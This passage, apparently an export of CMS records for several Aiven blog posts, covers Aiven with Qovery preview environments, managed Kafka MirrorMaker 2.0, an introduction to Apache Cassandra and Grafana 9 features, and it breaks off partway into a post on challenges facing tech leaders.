team](https://cdn.sanity.io/images/sczeoy4w/production/8b80b73efd5be62a2956d68641d78de4ead52a04-1868x972.png)\n\nThe power of Qovery doesn't stop there. When cloning an environment, all services included in the environment are duplicated. This means that your Aiven for PostgreSQL instance is also duplicated, and all the data from the original instance is available in the cloned instance. This ensures that your cloned environment has the same data as the original environment, making it easy to test your changes without affecting the production environment.\nWhat about the data? You can clone the data if needed. Aiven provides everything you need to make it a breeze. \n\n## Conclusion\n\nIn this article, we've explored the benefits of using Aiven in combination with Qovery to accelerate development workflows and facilitate the creation of preview environments. By leveraging Qovery's lifecycle jobs and multiple environments, developers can enjoy a streamlined experience that speeds up development cycles and eliminates the traditional staging starvation problem.\n\nFurthermore, the ease of integrating Aiven for PostgreSQL with Qovery showcases the power of combining best-in-class solutions for creating a truly robust and efficient development environment. And as we've seen, this combination is incredibly flexible and can be adapted to suit the unique needs of individual teams.\n\nWe hope this article has provided a useful overview of how Aiven and Qovery can work together. We're excited to continue collaborating with Sebastien and the Aiven team to explore other use cases, such as integrating [Apache Kafka](https://aiven.io/kafka).\n\nStay tuned for our next collaboration!\n\n## Further reading\n\n- [The GitHub repository for this article](https://github.com/evoxmusic/aiven-qovery-lifecycle)\n- [The GitHub repository for the TODO app](https://github.com/evoxmusic/todo-demo-app)\n- [How to automagically open pull requests with GitHub Actions](https://aiven.io/blog/how-to-automagically-open-pull-requests-with-github-actions)\n\n\n\n","categories":[{"_key":"28c29db0374d","_ref":"5Ry1OHE6tZ0LKPQxJ9XkJd","_type":"reference"},{"_key":"8f22927ab7df","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"}],"internalBlogProcess":"technical","mainImage":{"_type":"mainImage","asset":{"_ref":"image-6ee47cf892bef21ebfdc9021bcd99a36171effcb-1567x844-png","_type":"reference"}},"publishedAt":"2023-03-30T08:28:00.000Z","related":[{"_key":"bd89223e0f9e","_ref":"000de593-35b7-4375-b2d9-400d7b9a043e","_type":"reference"},{"_key":"fac0ec034f94","_ref":"1CuVhL1qTea2bGbOOf2mOS","_type":"reference"},{"_key":"c04e9540410c","_ref":"1j7S5htNtJI8a7hDmtBmZb","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Find out how Aiven for PostgreSQL® and Qovery work together so you can streamline your app development and deployment on AWS.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-c73aa7c9614616a6e110a310512dabf405ca048e-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/blog/end-to-end-managed-development-pipelines-with-aiven-and-qovery"},"subtitle":"Deploy your environments in a repeatable, secure way with Aiven and Qovery!","title":"End to end managed development pipelines with Aiven and Qovery"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6EqvwCIWpeDp6kiGSyk4ou","_rev":"AUoLUkEDo6CVeRx5sqcCD5","_type":"post","_updatedAt":"2024-02-09T10:11:27Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"At Aiven, we strive to give our customers reliable, convenient, and responsive data tools. Many customers already enjoy our [managed Apache Kafka®](https://aiven.io/kafka) solution along with Apache Kafka Connect® as a service. Now, we are happy to announce that we’re providing Apache Kafka MirrorMaker® 2.0 as a managed service.\n\nMirrorMaker 2.0 is the most robust solution for data replication between Apache Kafka clusters. By deploying it as a stand-alone service, you can free your replication workloads from others — this means that you can better allocate cluster resources and scale your processing workloads.\n\nIn this post, we’ll discuss \n- the Apache Kafka MirrorMaker 2.0 key features included in our managed service\n- the metrics you can get from your MirrorMaker clusters with our native metrics integration, and\n- what’s in store for the future.\n\n## Key features of MirrorMaker 2.0\n\nMirrorMaker has been around for many years and is widely used. The Apache Kafka community has been aware of its downsides and limitations since, as well as the attempts to fix them with other replication tools. With version 2.4, MirrorMaker 2.0 (following [KIP-382: MirrorMaker 2.0](https://cwiki.apache.org/confluence/display/KAFKA/KIP-382%253A%2BMirrorMaker%2B2.0)) was added to Apache Kafka.\n\nMirrormaker 2.0 is new and improved:\n\n- Preserved offset mappings between clusters. This means tooling for nearly transparent consumer migration is possible — critical for disaster recovery fail-over.\n- Topic configuration is now synchronized from source to target clusters — removing the need for external tools.\n- Record partitions are now preserved during the replication process.\n- The ability to run multiple replication flows for a single MirrorMaker cluster and the prevention of replication cycles — allowing for complex replication topologies.\n- Increased reliability, scalability and performance by leveraging the Kafka Connect framework.\n\n## Aiven support for MirrorMaker 2.0\n\nAiven supports MirrorMaker 2 with the Console UI, Aiven command line client, and Aiven Terraform provider.\n\n![Console Screenshot mirroraker replication flow overview](//cdn.sanity.io/images/sczeoy4w/production/96e6999fd50394bec1a66296f37b44b138ed0f6e-1260x672.png)\n\nNote, though, that you need Aiven for Apache Kafka to run Aiven for MirrorMaker2; you can't use it with your self-hosted Apache Kafka setup.\n\n## Aiven metrics integration for MirrorMaker 2.0\n\nTo get the most out of your Aiven for MirrorMaker 2 cluster, we’re also providing access to a metrics integration with built-in dashboards to monitor a host of metrics related to replication, such as replication lag and replication latency.\n\n![Aiven metrics integration with built-in monitoring](//cdn.sanity.io/images/sczeoy4w/production/5cdb0425df7de69abee2f743739761770561d7b3-1001x266.png)\n\nThe replication flow metrics run by MirrorMaker 2.0 are collected and visualized in [Grafana.](https://aiven.io/grafana)\n\n## Getting started with MirrorMaker 2.0\n\nGo to the Aiven Console, Terraform provider, REST API, or CLI and launch a MirrorMaker cluster. Then tie it to your source and target clusters through an integration workflow.\n\nFor more information about the finer points of setting up your first replication workflow, see this [help article.](https://help.aiven.io/en/articles/3992671-getting-started-with-kafka-mirrormaker) \n\n## Wrapping up\n\n[Aiven for Apache Kafka MirrorMaker 2.0](https://aiven.io/blog/5-reasons-why-you-should-be-using-mirrormaker-2) will allow Aiven users to seamlessly copy data between Apache Kafka clusters faster than ever! To get more information, go to our [Aiven for Apache Kafka product page](https://aiven.io/kafka). \n\n--\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven are available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to stay find out about our service updates, follow our [changelog](https://aiven.io/changelog). \n\nAre you're still looking for a managed data platform? Sign up for a free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\nStruggling with the management of your data infrastucture? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n","categories":[{"_key":"ksykM2RWxnnen4wmbNFR6","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"3DG5ZYx4kaoRquQmn345yY","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"alt":"","asset":{"_ref":"image-070516e5aeceb1f2ab4f8381f67fd5f5ad6a5f7b-1567x844-png","_type":"reference"}},"publishedAt":"2020-06-24T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven now provides Apache Kafka MirrorMaker® 2.0 as a managed service | Learn about its key features, important metrics and plans for the future in our blog.","metaImage":{"alt":"","asset":{"_ref":"image-070516e5aeceb1f2ab4f8381f67fd5f5ad6a5f7b-1567x844-png","_type":"reference"}},"metaTitle":"Aiven now offers Apache Kafka MirrorMaker® 2.0 as a service"},"slug":{"_type":"slug","current":"/blog/aiven-now-supports-kafka-mirrormaker-2"},"subtitle":"We now do MirrorMaker! And it's great.","title":"Aiven now offers Apache Kafka MirrorMaker® 2.0 as a service"}
{"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:36Z","_id":"6ZDXHjT69kyBI80TVQmyE8","_rev":"neae7oL4y1FotDvvRLK8cx","_type":"post","_updatedAt":"2024-07-11T12:36:47Z","authors":[{"_key":"4DjXzyNMHRsU8hEQ2fIG4i","_ref":"4DjXzyNMHRsU8hEQ2fIG4i","_type":"reference"}],"body":"Apache Cassandra® is a popular wide column data store that can quickly ingest and process massive amounts of data. \n\nLet’s say you are considering a [data storage solution](https://aiven.io/blog/the-data-continuum-examined) for an IoT or application event load. You’ll have a few questions: _How to store all of your data with its variable event length? And how to query your massive, fast-growing dataset for immediate insights and iterative, perpetual improvements?_\n\nThese things require a **distributed** data store that can accomodate evolving and variable-length records, at massive scale and ingest velocity, employing built in fault-tolerance and availability, with high write speeds and decent read speeds. And this data must be manageable with a query language everyone already understands.\n\nEnter [Apache Cassandra](https://cassandra.apache.org/_/index.html).\n\nIn today’s information age, billions of connected devices and digital environments continually stream and store data. From smartphones and laptops, web browsers and applications, to smart appliances, infrastructure controls and sensors — all of these devices generate data.\n\nEvery bit of generated data is created to be collected, stored, refined, queried, analyzed and operationalized for the purpose of continuous improvement: perpetually and iteratively providing better, safer and more efficient products, processes and services.\n\nData generation is endless, and that data, when stored, grows exponentially. As long as users continue to use digital products, and as long as digital products remain connected to networks, they’ll continue to.\n\n\u003e But as long as IoT networks grow asymmetrically, by adding different kinds and versions of devices, that data won’t always look the same.\n\nWide column stores like Apache Cassandra were developed to help organizations regain a semblance of control over these massive, exponentially-growing amounts of constantly transforming data.\n\nIn this article, we’ll look at what Apache Cassandra is, what’s special about it, and how it distributes and stores data. We’ll consider why consistency and availability (read: _performance_) are core tradeoffs, consider what scenarios are best (or not), and review some use-cases. Finally, we’ll look at how easy it is to set up this [NoSQL database](https://en.wikipedia.org/wiki/NoSQL) with Aiven.\n\n## What is Apache Cassandra?\n\nApache Cassandra is an open-source, NoSQL, wide column data store that can quickly ingest and process massive amounts of data. It’s also _decentralized_, _distributed_, _scalable_, _highly available_, _fault-tolerant_ and _tuneably consistent_, with identical nodes clustered together to eliminate single points of failure and bottlenecks(we’ll go over each of those terms later). You can deploy Cassandra on-premise, in the cloud or in a hybrid data environment.\n\n![image showing the data continuum from unstructured to structured with Cassandra highlighted](https://cdn.sanity.io/images/sczeoy4w/production/516500627d64aa7eaa9bddb050abd7bddded99bb-2000x488.png)\n\nOriginally designed for Facebook inbox searching, Cassandra is used today by CERN, GitHub, Apple, Netflix, and countless other organizations. It’s extremely well suited for managing large amounts of _semi-variable but structured data_ (from sensors, connected appliances and applications) for analytics, event logging, monitoring, and eCommerce purposes, particularly when high write speeds are needed.\n\n## So what's so special about it?\nIn order to understand the unique value add that Apache Cassandra provides, it’s useful to look at those terms we’ve used to describe it.\n\n* **Decentralized** means there’s no master-slave paradigm, and each separate node is capable of presenting itself to any end-user or client as a complete or partial replica of the database.\n\n* **Distributed** means that Cassandra adds the most value when it is distributed across many nodes and even data centers.\n\n* **Scalable**  means that Cassandra can be easily scaled horizontally, by adding more nodes (machines) to the cluster, without disrupting your read and write workflow.\n\n\u003e This is one of the best features of Cassandra: each node communicates with a constant amount of other nodes, allowing you to scale linearly over a huge number of nodes.\n\n* **Highly Available** means that your data store is _fault-tolerant_ and your data remains available, even if one or several nodes and data centers go down.\n\n* **Tunably Consistent** means that it is possible to adjust the tradeoff between _availability_ and _consistency_ of data on Cassandra nodes, typically by configuring ```replication factor``` and ```consistency level``` settings.\n\n\u003e In practice, this really means a tradeoff between _consistency_ and _performance_. For example, if you were to set ```consistency level``` to ```3``` on a 3-node cluster, it would require at least all three nodes to be in agreement. For this cluster, this would be the slowest throughput in favor of maximum consistency.\n\n## How Apache Cassandra distributes data\n\nCasandra uses a peer-to-peer distribution model, which enables it to fully distribute data in the form of variable-length rows, stored by _partition keys_. This happens across different cloud availability zones and multiple data centers. Cassandra is built for scalability, continuous availability, and has no single point of failure.\n\nMany databases, such as Postgres, use a [master-slave replication model](https://www.enterprisedb.com/products/replication-server-single-multi-master-mode-postgresql), in which the writes go to a master node and reads are executed on slaves. Unfortunately, the master-slave hierarchy often creates bottlenecks. To provide high availability, fault tolerance and scalability, Cassandra’s peer-to-peer cluster architecture provides nodes with open channels of communication.\n\nCassandra uses _tokens_ to determine which node holds what data. A token is a 64-bit integer, and Cassandra assigns ranges of these tokens to nodes so that each possible token is owned by a node. Adding more nodes to the cluster, or removing old ones leads to redistributing these token ranges among nodes.\n\n![image conceptualizing how tokens are distributed across a node](https://cdn.sanity.io/images/sczeoy4w/production/b60479035b520bb4f8dfb13866b62bafb5734776-2000x1371.png)\n\n[Source](https://docs.scylladb.com/architecture/ringarchitecture/)\n\n\u003e In practice, however, tokens are not assigned from the values 1-1200, but are rather assigned from the range between the minimum and maximum signed 64-bit integers.\n\nA row's partition key is used to calculate a token using a given _partitioner_ (a hash function for computing the token of a partition key) to determine which node owns that row. That's how Cassandra finds where the replicas are which hold that data.\n\n### The wide-column store, and how data is modelled\nCassandra exposes a dialect similar to SQL called _CQL_ for its Data definition language (DDL) and data manipulation language (DML). While similar to SQL, there is a notable omission: Apache Cassandra does not support ```join``` operations or subqueries.\n\nApache Cassandra lets you ingest variable-length events into rows. It all starts with how the data is modeled in CQL:\n\n```\nCREATE TABLE users (\n name text,\n address text,\n phone text,\n mobile text,\n shoe_size int,\n favorite_color text,\n PRIMARY KEY (NAME)\n);\n```\nUp front, the schema is actually predefined and static. The schema for Cassandra tables needs to be designed with query patterns in mind ahead of time, so structural changes to data in real-time are not necessarily trivial with Cassandra (we’ll look at ways to do this later).\n\n\u003e Previously tables in Cassandra were referred to as _column families_.\n\nHere's what that populated table could look like:\n\n![image illustrating variable-length populated rows in a Cassandra tabl](https://cdn.sanity.io/images/sczeoy4w/production/03efdacf762bdbd4313e54dd1177118d19470116-1999x1233.png)\n\n**NOTE:** in a wide-column store, each row in a table _appears to_ contain _all_ columns. But only some need to be populated. The rest can be filled with NULL values during an insert operation, as we’ll see later.\n\nThe variable width of rows concept is what some argue enables flexibility in terms of the events it can store: one event (row) can have columns ```name (string)```, ```address (string)```, and ```phone (string)```, with the next event having ```name (string)```, ```shoe_size (int)```, and ```favorite_color (string)```. Both events can be stored as rows in the same table.\n\nHow is this possible? Because in a wide-column store like Cassandra, different rows in the same table may appear to contain different populated columns.\n\n\u003e Actually, Cassandra doesn’t really have a _full_ row in storage that would match the schema. Instead, Cassandra stores _mutations_; the rows an end user sees are a result of merging all the different mutations associated with a specific partition key. _Merging_ is the process of combining mutations to produce an end result row.\n\nRows are accessed by partition key and stored within a table; as shown above, rows are searched and accessed by the partition key. The partition key is a hash that tells you on which replica and shard the row is to be located.\n\nNow that we know how data is modelled, populated and distributed in Apache Cassandra, let’s look at another problem: how data is added, read and deleted from Cassandra.\n\n### How data is added to Cassandra\nDuring an update operation, values are specified and overwritten for specific columns; the values of the remaining columns in the row should be what was there, if anything, before the update.\n\nAs events are ingested, they can not freely add unstructured data or random data types as new columns to new rows on the fly. Rather, they require one of two things:\n\n* Columns already exist in the schema -- unused columns in new rows are populated with ```NULL``` values during an ```insert``` operation;\n\n* Applications can dynamically run ```alter table``` commands to add new columns to the schema.\n\n### How data is read from Cassandra\nWhen a client selects a row with a ```select``` statement, all the mutations of the row are gathered and applied in order of their timestamps. If an ```insert``` happens first, and is followed by an ```update```, then the resulting row is the ```insert``` mutation columns with the ```update``` overwriting the values for columns it contains. On the other hand, if an ```update``` is followed by an ```insert```, then the ```insert``` overwrites all the columns from the updated row.\n\n### How data is deleted from Cassandra\nA ```delete``` in Cassandra creates a mutation called a _tombstone_, which marks the partition key as deleted, and suppresses associated data in _SSTables_ (discussed below). The process of _compaction_, which happens periodically, is what permanently removes this suppressed data and effectively defragments the remaining lot, improving read performance.\n\n### How data is organized for scale and asymmetry\nAs mentioned earlier, Cassandra uses a _table_ to organize data. Cassandra uses them to define what types of data can be partitioned together and organizes that data into rows. When machines are added or removed from a cluster, Cassandra will automatically repartition according to the configuration (partition keys) of the table.\n\n### How data is replicated for fault tolerance\nCassandra automatically replicates data to multiple nodes and across multiple data centers to create high fault tolerance and ensure zero data loss. To enable fast performance, Cassandra stores writes into a memory-volatile table structure called a _memtable_.\n\n### How data is cached for speed and stored for persistence\nOnce a memtable is full, Cassandra flushes the writes into a static storage called an _SSTable_. SSTables are immutable and cannot be written to again after the associated memtable is flushed. To keep flushing to a minimum — and writes at high speed — Cassandra also appends memtable writes to a _[Commit Log](https://stackoverflow.com/questions/34592948/what-is-the-purpose-of-cassandras-commit-log)_.\n\n![image illustrating relations between memtable, SSTables, memory and disk in Cassandra writes](https://cdn.sanity.io/images/sczeoy4w/production/7968be9d515f3a268d71480511ebf185f37aabb7-1999x1489.png)\n\n[source](https://medium.com/linagora-engineering/tunning-cassandra-performances-7d8fa31627e3)\n\n### How it all ties together\nIt's these mechanisms combined that allow Cassandra to have excellent write performance. Even when the consistency level is low, two nodes can hold different versions of the same row separately, and resolve the conflict during a read operation by simply picking the version on the node with the newer timestamp.\n\nCassandra is scalable and elastic, allowing the addition of new machines to increase throughput without downtime. When a master node shuts down in databases that operate on the master-slave architecture, the database can’t process new writes until a new master is appointed. In such cases, Cassandra, which doesn’t rely on a master-slave architecture, can simply redirect writes to any available node, without shutting down the system.\n\n## Can Apache Cassandra provide consistency?\nAccording to Dr. E. A. Brewer, distributed data stores can fulfill only two of the three [CAP Theorem](https://en.wikipedia.org/wiki/CAP_theorem) functions simultaneously. When pressed to choose between _consistency_, _availability_ and _partition tolerance_, data professionals were left with no choice but to prioritize partition over consistency — you simply can’t have distributed databases without partitioning.\n\nWhile many data stores enforce their own setup of the CAP Theorem, Cassandra lets you choose your own preferred functions. However, as time moves on, the understanding of this tradeoff [continues to evolve](https://martin.kleppmann.com/2015/05/11/please-stop-calling-databases-cp-or-ap.html).\n\nCassandra’s _Tunable Consistency_ allows you to decide what is more important to you, on a per-query level, by instructing Cassandra on how to handle any write and read request.\n\nThe _consistency level_ you configure will define when clients are acknowledged, while the default configuration of the _replication factor_ will ensure that writes are always sent to all replicas.\nFor example, you can configure how Cassandra handles read requests according to your preferred level of consistency:\n\n* **High stale data potential (low consistency level)** — you can risk the return of stale data by configuring Cassandra to wait for any available node. This could potentially return an out-of-date replica, but conflicts are resolved by picking the replica with the latest timestamp. This allows for the fastest query completion.\n\u003cbr/\u003e\n* **Medium stale data potential (medium consistency level)** — to reduce the probability of getting stale data while compromising on query speed, you can instruct Cassandra to reach a quorum of nodes.\n\u003cbr/\u003e\n* **Strong data consistency (high consistency level)** — if you ask Cassandra to wait for every node, you will get strong consistency, in which Cassandra always returns the latest data.\n\nBut you will experience other performance impacts as a result: full consistency takes longer and you will compromise performance: it will take longer to query results containing new data until every node’s data is updated.\n\n## Some considerations of Apache Cassandra\nAs in any piece of software, Cassandra has its shortcomings. One notable disadvantage is its slow process for reads.\n\n\u003e Scylla, which is based on Cassandra but coded natively (Cassandra runs in a JVM) has attempted to resolve these issues.\n\nIn Cassandra, schema and data types must be defined at design time, complicating the planning process and limiting your ability to modify schema or add additional data types later on. This, as explained earlier, can have an impact on your ability to manage fast-streaming, dynamic data.\n\nCassandra has no built-in aggregation functionality, and data grouping must be pre-computed manually. If you’re running a very small dataset, consider another solution. The same goes if you were to only require a single-node solution; the only _real_ benefits of Cassandra are when data is distributed across multiple nodes.\n\nCassandra uses a low-level [data model](https://tech.ebayinc.com/engineering/cassandra-data-modeling-best-practices-part-2/), which requires extensive knowledge of the dataset, making it a less optimal choice if you need application transparency. Cassandra adds further complexities by using CQL, a proprietary language, which provides no ```join``` or subquery support. Ordering is done per partition at table creation time to enforce efficient application design, and you can only run queries for keys and indexes.\n\nIn Cassandra, the amount of data that can be stored per partition is limited to the size of the smallest machine in the cluster. Column values are limited in size to 2GB but lack of streaming or random access of blob values limits this more practically to under 10 MBs.\n\nCollection values are limited to 64KB and the maximum number of cells in a single partition is 2 billion. Appending new rows to a table is just what Cassandra is intended for. Nonetheless, If you were to need to overwrite existing rows with new rows on a regular basis, Cassandra is not the right solution for you.\n\n## Use cases for Apache Cassandra\nImagine the following scenario: You’re an assembly line foreman with an evolving IoT environment. As your operations grow, you need to expand the monitoring and control of your production line. To start iterative improvements, you add temperature sensors to the assembly line to log temperature events as time series data.\n\nNext, you add time stamped pressure sensor readings. Eventually, outputs from proximity sensors to monitor component placement are added and calibrated. Finally, level sensors — to monitor device fluid capacity — are added to the mix.\n\nAll events must be time-synced and correlated. But as your process is tuned, and each sensor calibrated, they are gradually replaced with different variants of sensors. This process introduces quite a bit of variability in your collected data schema, types and the data itself.\n\nOnce your assembly line is optimized, you’re running in the millions. All that time, your sensor stats and output data were continually tweaked and refined with values added and removed. All while you collected, analyzed and operationalized your massively growing, fast-moving dataset.\n\nAs it turns out, Cassandra is a popular solution for those looking for high performance on large datasets, including use cases such as storing multivariate time-series data such as logs and IoT sensor data.\n\nThe fast write capabilities of Cassandra would, for example, also make it ideal for tracking huge amounts of data from health trackers, purchases, watched movies and test scores. And there are still many using it for tracking web activity, cookies and web application data.\n\nIf you’re interested in big data analysis for messaging applications, you can use Cassandra while ensuring continuity — there will be zero downtime. Cassandra’s scalability and partitioning techniques can even turn it into a secure, stable, and cost-effective environment for fraud detection.\n\n## Setting it up\n[Aiven Cassandra](https://aiven.io/cassandra) is a fully managed and hosted Apache Cassandra service which provides high-availability, scalability, and state-of-the-art fault tolerance. It's easy to set up, either straight from the [Aiven Console](https://console.aiven.io):\n\nDirectly from the [command line](https://aiven.io/blog/command-line-magic-with-the-aiven-cli#doing-services) or using our [REST API](https://api.aiven.io/doc/#api-Service-ServiceCreate).\n\n## Wrapping up\nCassandra is an excellent choice if you need a massively scalable NoSQL database to handle big data workloads streaming variable-length events, provided all columns were specified when the table was created (or use of the ```alter-table``` command).\n\nIt provides robust capabilities that can help you set up a fast, efficient and automatic system for processing logging, tracking, and usage data. You can configure Cassandra according to the needs of your organization, and according to the specs of any given project.\n\nIn this article, we’ve looked at Apache Cassandra: what it is, what’s special about it, and how it distributes and stores data. We’ve also considered consistency and availability as core tradeoffs, looked at shortcomings and use-cases, and how to set it up as an Aiven service.\n\nIf you'd like to see Aiven Cassandra in action, [check it out with our no commitment, 30-day trial](https://console.aiven.io/signup), or [find out more on its product page](https://aiven.io/cassandra)!\n\n## References\n[Cassandra, The Definitive Guide](https://www.oreilly.com/library/view/cassandra-the-definitive/9781449399764/)\n\nThanks also to Gilad Maayan and Ilai Bavati for their contributions to this article, and Mathias Fröjdman for his explanations.\n\n## Further reading\n\n- [Migrate your Apache Cassandra® data into Aiven with sstableloader](https://aiven.io/blog/aiven-now-supports-sstableloader)\n","categories":[{"_key":"SDuPFTXa2dgBEl8OCxZRn","_ref":"SDuPFTXa2dgBEl8OCxZRn","_type":"reference"},{"_key":"2vw3G7QzI7VENTWVzT0PMh","_ref":"2vw3G7QzI7VENTWVzT0PMh","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-1b2975474525248f42112b6f69072ab788dff026-1567x844-png","_type":"reference"}},"publishedAt":"2019-07-22T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Apache Cassandra is a wide column data store. Join as as we explain what that means, and cover the high and the low of this open source database.","metaImage":{"alt":"","asset":{"_ref":"image-1b2975474525248f42112b6f69072ab788dff026-1567x844-png","_type":"reference"}},"metaTitle":"An introduction to Apache Cassandra®"},"slug":{"_type":"slug","current":"/blog/an-introduction-to-apache-cassandra"},"subtitle":"What exactly is a wide column data store? We take a close look at Cassandra, and cover the ins and outs of this open source database.","title":"An introduction to Apache Cassandra®"}
{"__i18n_lang":"en","_createdAt":"2022-10-17T07:03:52Z","_id":"c9fb1065-9cdd-4552-addb-b4f76b92901e","_rev":"aqN8LslQ3cZYmtCXIrHgIx","_type":"post","_updatedAt":"2024-02-07T13:06:41Z","authors":[{"_key":"33fc60310cd9","_ref":"LvoXSx2wcnnIY178tIEa3","_type":"reference"}],"body":"With our commitment to open source, Aiven always strives to bring the best open-source tools to our customers. We believe that Grafana® 9 is the best open-source visualization technology to date.\n\nThe new Grafana release brings a wealth of new capabilities, such as:\n\n- Prometheus query builder\n- Improved User Interface\n- New heatmap model \n\nGrafana 9 simplifies your monitoring process tremendously. \n\n## New and updated features\n\n### Prometheus query builder\nPrometheus is a technology agent widely used to pull metrics from different sources. At Aiven, we also use it for our [Metrics integration solution](https://aiven.io/integrations-and-connectors). PromQL is not the easiest language, however, and has a steep learning curve. Grafana 9 tackles this problem by bringing the PromQL query builder into the picture. \n\n![Prom query builder from Grafana 9](https://cdn.sanity.io/images/sczeoy4w/production/630c588249e963c2174dfd4770a10dfb636877a7-1454x654.png)\n\nThis is how PromQL query builder makes your life easier:\n\n- Enables you to select and search multiple metrics and labels at the same time.\n- Helps you clearly define different operations and aggregations that are ongoing within the same query. \n\nPromQL query builder also keeps the code-based user interface for those hard-core developers.\n\n\n### New heatmap panel\nTime series data is an essential part of monitoring and observability. It carries crucial information about your services throughout a given period of time and gives you insights into how your services performed. The heatmap in Grafana helps to visualize the massive amounts of time series data as a histogram.\n\n![Heatmap in Grafana 9](https://cdn.sanity.io/images/sczeoy4w/production/302997d9a46e2e391b43fb9020deded306c9ca84-1286x614.png)\n\nIn Grafana 9, the way heatmaps are displayed has been revamped. The new heatmap panel brings multiple new features:\n\n- Exemplars (traces) overlay to help isolate data distribution problems\n- Prometheus sparse histograms to enhance data analysis when creating separate buckets would not be feasible\n- Customization for the number of colors shown, reflecting the granularity \n- Smarter automatic bucket sizing for unbucketed data\n- Can filter out bucket values close to but not exactly zero\n\nIn addition, the new heatmap is several orders of magnitude faster than the old one.\n\n### Improved user interface\n\n#### Dashboard previews\nDashboard previews is a new enhancement coming to live in Grafana 9. Instead of relying on Title name, customers can now have a graphical representation of their dashboard to better differentiate between multiple dashboards. \n\nThis feature is available as an opt-in feature in Aiven Console for Grafana service, under “Advanced Configuration”.\n\n#### Panel title search\nAn improved search capability for your list of panels. This feature is also enabled as an opt-in feature in Aiven Console for Grafana service, under “Advanced Configuration”.\n\n#### Starred dashboards\nEasier access to your favorite dashboard straight from the navigation. This feature is enabled in Aiven for Grafana by default.\n\n## Breaking changes\nSome of the changes to Grafana 9 can break builds. Take a look at [the full list of Grafana 9 changes](https://github.com/grafana/grafana/blob/main/CHANGELOG.md#900-2022-06-10) to find potential problem areas.\n\n## Upgrade your Aiven for Grafana\nGrafana 9 is available in the Aiven Console, and we have provided a safe upgrade path from Grafana 8. You can either upgrade your Aiven for Grafana manually, or wait for the next scheduled update. \n\nIf you’re still looking for a great managed Grafana service, check out our [Aiven for Grafana product page](https://aiven.io/grafana)! \n\n\n----\n\nDaily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds. If you just want to stay up to date with our service updates, follow our [changelog](https://aiven.io/changelog).","categories":[{"_key":"9cf78f373244","_ref":"4hAyABhHhRRrLCRrQAMHR1","_type":"reference"},{"_key":"2c8314b7aa5a","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-5f7415e9ffce4e80ad87a985e2fb9ba89cdf622b-1567x844-png","_type":"reference"}},"publishedAt":"2022-10-20T11:07:00.000Z","related":[{"_key":"a2cd3c9baa51","_ref":"5f233693-50cd-4dd3-9bb8-70485a56b41f","_type":"reference"},{"_key":"0171fc2b1a57","_ref":"27idt1cdblNt5VE88jxtnJ","_type":"reference"}],"slug":{"_type":"slug","current":"/blog/strengthen-your-monitoring-game-with-grafana-9"},"subtitle":"Aiven now offers Grafana® 9 as a managed service. Let’s take a look at how we’re bringing it to you and what the key improvements are.","title":"Strengthen your monitoring game with Grafana® 9"}
{"__i18n_lang":"en","_createdAt":"2022-11-24T08:39:03Z","_id":"000de593-35b7-4375-b2d9-400d7b9a043e","_rev":"ejVwHgKe5k9eDWbchuS2Lc","_type":"post","_updatedAt":"2024-07-11T13:20:08Z","authors":[{"_key":"9627b1e3076b","_ref":"496dfbad-f06f-469f-8658-d40fc51b4324","_type":"reference"}],"body":"Generating more revenue, bringing in more customers, and growing fast are the key accomplishments of a successful company. But those accomplishments also represent a _ton_ of challenges to you and your teams. Challenges like the extra pressure to make sure the technology meets the increasing needs of an ever-growing pool of customers and similarly expanding internal teams.\n\nBeing in charge of developing that technology, it's up to the tech leaders (the CTO, CIO, Head of Engineering) to be at the top of their game and address these growing pains.\n\nIn this blog post, we’ll look at:\n\n- [The challenge of attracting and retaining developer and engineer talent](#keeping-your-valuable-developers-happy)\n- [The need to ensure high development productivity and fast time-to-market](#ensuring-high-development-productivity-and-fast-time-to-market-for-your-products)\n- [The problem with building scalable processes and workflows](#scaling-up-your-processes-and-workflows)\n- [The difficulty of ensuring a future proof platform that grows with your needs](#growing-your-tech-stack-and-data-infra)\n- [Cybersecurity threats and data privacy concerns](#cybersecurity-and-privacy-concerns)\n\n::banner[How have successful companies from a range of industries used a managed data platform as part of their transformation strategy? Check out how they solved their business and technical challenges from our ebook.]{ctaText=\"Grab it here\" ctaLink=\"https://aiven.io/ebook/how-a-cloud-data-platform-can-drive-transformation-in-your-business?utm_source=ebook\u0026utm_medium=internal\u0026utm_campaign=transformation_ebook\u0026utm_content=solving-5-challenges-tech-leaders-face-in-fast-growing-companies\" title=\"Transformation is coming\" background=\"https://cdn.sanity.io/images/sczeoy4w/production/0ecde466b48dd7c5f1eec6c81202076315eb0250-2250x2250.png\" theme=\"dark\"}\n\n## Keeping your valuable developers happy\nA happy developer is a productive developer. An _unhappy_ developer is getting ready to move on. When your company is under pressure to grow fast, it also adds pressure to the developers - to deliver applications that much faster, while simultaneously taking care of the work that comes with scaling up.\n\nThat’s right - your developers want to be productive, but they can be held back by legacy systems or admin chores like database maintenance, and those tasks only become more consuming as your company grows. Not to mention all the confusion of changes in teams and processes that can also happen. And just like that, your developers are no longer happy - and you _know_ good developers are hard to find.\n\n### Some solutions a tech leader might consider\n\n- Focusing on **developer experience** to set your company apart from the rest and to attract and retain talent; a workplace where developers are allowed to thrive, and do 